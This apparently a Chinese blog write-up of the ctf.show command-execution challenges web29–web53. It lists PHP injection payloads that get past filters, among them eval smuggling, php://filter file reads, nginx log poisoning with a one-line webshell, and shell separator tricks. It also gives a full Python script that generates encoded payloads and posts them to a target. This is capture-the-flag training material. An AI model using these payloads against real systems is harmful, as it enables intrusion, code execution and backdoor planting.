ctf.show之命令执行

web29 : 命令执行,需要严格的过滤

分析可知: 

1.传入的是一个参数,名为c

2. 根据函数的性质,参数中是不可以有"flag",大小写都不可以有。

3. 将这个名为c的参数 按php语言进行解析 

以上三个均为重点 ,这个很关键 ,

1、如?c=system("ls");

则相当于在执行php函数 system()

结果就是可以查看当前的目录中的文件

得到的结果是 flag.php 和 index.php (此题确实是有这两个文件的),如:

因此同理,在这里我们可以直接用?c=system("tac f*.php"); 来获取到这个文件,并得到flag。

web30 :命令执行,需要严格的过滤

解法思路 : 题目过滤了flag,system,php等,我们就可以考虑用什么来替代system执行系统命令,主要有passthru等 

因此,解法1:  c=passthru("tac fl*");  (绕过)

           解法2:  c=echo(`ls`);  (反字节符配合echo)

           解法3:  c=eval($_GET[1]);&1=system("tac%20flag.php");

如下图:   (即可得到flag);

web31 :  命令执行,需要严格的过滤 

分析: 此题比上一题多过滤了"cat sort shell"以及,点,空格,单引号这些字符串,但我们可以用上题的第三种方法,即:

         c=eval($_GET[1]);&1=system("tac%20flag.php");

当然,此题的wp作者也给了一个其他解决方案:

c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web32 : 命令执行,需要严格的过滤 

题解: 

        解法1: 文件包含 

                url/c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

                其中?>代替分号,页面会显示flag.php内容的base64编码,解码即可获取flag

        解法2:  日志注入 

                url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log

                其中/var/log/nginx/access.log是ngninx默认的access日志路径,访问该路径时,在User-Agent中写入一个句话木马,然后AntSword连接即可 

web33: 命令执行,需要严格的过滤 

题解: 和上题所述一致,只需使用include文件包含命令即可。 

web34: 命令执行,需要严格的过滤 

直接上过程: 

web35: 命令执行,需要严格的过滤 

仍然与上题一致,使用include的文件包含即可。 

web36: 命令执行,需要严格的过滤 

题解: 这题仍然和上题一致,只不过是多过滤了一个0-9的数字,则我们把我们的数字1换成小字母a即可,得到flag。

web37: 命令执行,需要严格的过滤

此题顺便解释一下伪协议 

      常用场景: 文件包含,文本包含 

常用的伪协议有 

        1.php://filter 读取文件源码 (协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码)

        2.php://input 任意代码执行: 这种伪协议用于读取原始的 HTTP POST数据,可以用于处理上传的文件和表单数据 

        3.data://text/plain 任意代码执行 

        4.zip://配合文件上传开启后门

之前是eval,eval可以将里面的东西作为命令执行,而echo不行(后面好像是好几门都是如此),所以我们这里使用伪协议 

这时候使用伪协议,如下图: 

web38: 命令执行,需要严格的过滤 

如上图所示,其实和上一题差不多,只不过过滤掉了一些字符,因此我们要用其他字符进行一个替换,比如php就可以用 "=" 来等价代换。

web39: 命令执行,需要严格的过滤

题解: 此题就是,在c后面拼接了一个字符串,其实我们include执行的东西,也就是c,并不会执行后面的php,因此呢,上题的playload在此题里仍然适用。所以上截图,如下图所示: 

如果觉得不够放心,可以在后面加一个// 来注释掉后面的代码 。

web40: 命令执行,需要严格的过滤

此题基本上,就是过滤了所有字符,有一个括号然后是中文括号,此时呢,我们就用各种函数调用就行,如: ?c=highlight_file(next(array_reverse(scandir(dir)))); 即可得到flag。

web41: 命令执行,需要严格的过滤 

题解: 大部分字符已经过滤掉了,我们这题运用到的是羽师傅的脚本文件。如下

import re
import urllib
from urllib import parse
import requests

# 初始化一个列表来存储编码后的字符信息
contents = []

# 遍历所有可能的ASCII字符(从0x00到0xFF)
for i in range(256):
    for j in range(256):
        # 将整数i和j转换为两位的十六进制字符串(如:'00'到'ff')
        hex_i = '{:02x}'.format(i)
        hex_j = '{:02x}'.format(j)

        # 编译一个正则表达式,用于检测需要特殊处理的字符
        preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)

        # 如果当前字符是需要特殊处理的字符,则跳过本次循环
        if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
            continue

        # 否则,将字符转换为百分号编码格式(如:'%20'代表空格)
        a = '%' + hex_i
        b = '%' + hex_j

        # 计算两个十六进制值按位或运算的结果,并确保结果是一个可打印的字符
        c = chr(int(a[1:], 16) | int(b[1:], 16))

        # 只保留ASCII码在32到126之间的字符(即可打印字符)
        if 32 <= ord(c) <= 126:
            contents.append([c, a, b])  # 将字符、其百分号编码形式以及备用编码形式添加到列表中


# 定义一个函数,用于生成payload
def make_payload(cmd):
    payload1 = ''  # 初始化第一个payload字符串
    payload2 = ''  # 初始化第二个payload字符串

    # 遍历给定命令的每一个字符
    for char in cmd:
        # 在contents列表中查找与当前字符匹配的项
        for item in contents:
            if char == item[0]:  # 如果找到了匹配的项
                payload1 += item[1]  # 添加其百分号编码形式到payload1
                payload2 += item[2]  # 添加其备用编码形式到payload2
                break  # 找到匹配项后跳出循环

    # 返回一个字符串,其中包含了原始的和备用的十六进制编码,以括号包围
    return '("' + payload1 + '"|"' + payload2 + '")'


# 获取用户输入的URL
URL = input('url:')

# 创建payload,首先对'系统'命令进行编码,然后对'cat flag.php'命令进行编码
payload = make_payload('system') + make_payload('cat flag.php')

# 发送POST请求到指定的URL,数据中包含编码后的payload
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)}, verify=False)

# 输出服务器的响应文本
print(response.text)

由于代码已经给了注释,就不解释了,直接运行,在input函数里输入自己的url即可,得到flag。

web42: 命令执行,需要严格的过滤

题解: 

        使用 " ; " " || " " & " " && " 分隔

        /dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显 

        ;   //分号 

        |   //只执行后面那条命令 

        ||  //执行前面那条命令

        & //两条命令都会执行

        && //两条命令都会执行 

所以我们可以构造playload: 

        url/?c=tac flag.php||

web43 : 命令执行,需要严格的过滤 

题解 : 运用上述命令仍然适用,只不过是过滤了flag。

web44: 命令执行,需要严格的过滤 

题解: 和上几题一致,只不过多过滤一个flag,构造playload: ?c=tac fl*||即可。

web45: 命令执行,需要严格的过滤 

题解思路: 这题其实和上题一致,只不过是多过滤了一个空格符,空格符,我们用%09可替换,所以我们构造playload: url?c=tac%09f*|| --->即可得到flag。

web46: 命令执行,需要严格的过滤 

解题思路: 此题看源代码,发现?并没有过滤,则我们可以构造playload: ?c=tac%09f?ag.php||

即可得到flag。

web47:命令执行,需要严格的过滤

题解: 此题和上题一致,只需要用?去代替就行,最后得到flag,如上图所示。

web48: 命令执行,需要严格的过滤 

仍然与前两题一致。

web49: 命令执行,需要严格的过滤 

仍然与上题一致,不做过多的叙述。

web50:命令执行,需要严格的过滤

因为空格是被过滤的,因此我们不能用%09来代替,此外flag的话也被过滤,我们要用两个双引号,在这里的"%0a"也算是分隔符里的一种,换行的意思。

web51: 命令执行,需要严格的过滤 

题解: 此题和上题不一致的是过滤了tac,此时我们只需要将tac伪装一下,我们来构造一下playload

解法1: ?c=ta''c<fl''ag.php%0a

解法2: view-source:url/?=nl%3Cfla''g.php||   (可以通过view-source来查看源代码)

web52: 命令执行,需要严格的过滤

题解:这题使用新的命令,直接上playload: ?c=nl${IFS}/fla''g%0a 

web53: 命令执行,需要严格的过滤

playload: ?c=ta\c${IFS}fla\g.php,这里的“\”, 也可以原来字符过滤。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值